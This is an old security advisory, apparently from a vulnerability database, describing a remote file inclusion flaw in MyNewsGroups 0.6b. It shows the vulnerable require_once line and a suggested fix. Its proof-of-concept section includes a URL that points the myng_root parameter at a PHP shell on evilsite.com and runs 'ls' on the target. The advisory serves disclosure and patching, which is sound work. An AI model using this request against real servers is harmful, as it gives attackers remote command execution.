MyNewsGroups <= 0.6b (myng_root) Remote Inclusion Vulnerability

2006.08.02
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-94


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

+-------------------------------------------------------------------- + + MyNewsGroups :) v. 0.6b <= Remote File Inclusion + +-------------------------------------------------------------------- + + Affected Software .: MyNewsGroups :) v. 0.6b + Venedor ...........: http://mynewsgroups.sourceforge.net + Class .............: Remote File Inclusion + Risk ..............: high (Remote File Execution) + Found by ..........: Philipp Niedziela + Original advisory .: http://www.bb-pcsecurity.de/ + Contact ...........: webmaster[at]bb-pcsecurity[.]de + +-------------------------------------------------------------------- + + Code /lib/tree/layersmenue.inc.php: + + ..... + <?php + // PHP Layers Menu 2.3.5 (C) 2001-2003 Marco Pratesi (marco at telug dot it) + + require_once $myng_root."/pear/PEAR.php"; + ..... + +-------------------------------------------------------------------- + + $myng_root is not properly sanitized before being used. + The bug is in the "PHP Layers Menu 2.3.5" Package for MyNewsGroups. + +-------------------------------------------------------------------- + + Solution: + Add this line to your php-file: + + $myng_root ="bla/bla" //Your root path + +-------------------------------------------------------------------- + PoC: + Place a PHPShell on a remote location: + http://evilsite.com/pear/PEAR.php/index.html + + http://[target]/lib/tree/layersmenu.inc.php?myng_root=http://evilsite.co m/P EAR.php/&cmd=ls + +-------------------------------------------------------------------- + + Greets: + Krini&Lenni + +-------------------------[ E O F ]----------------------------------


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top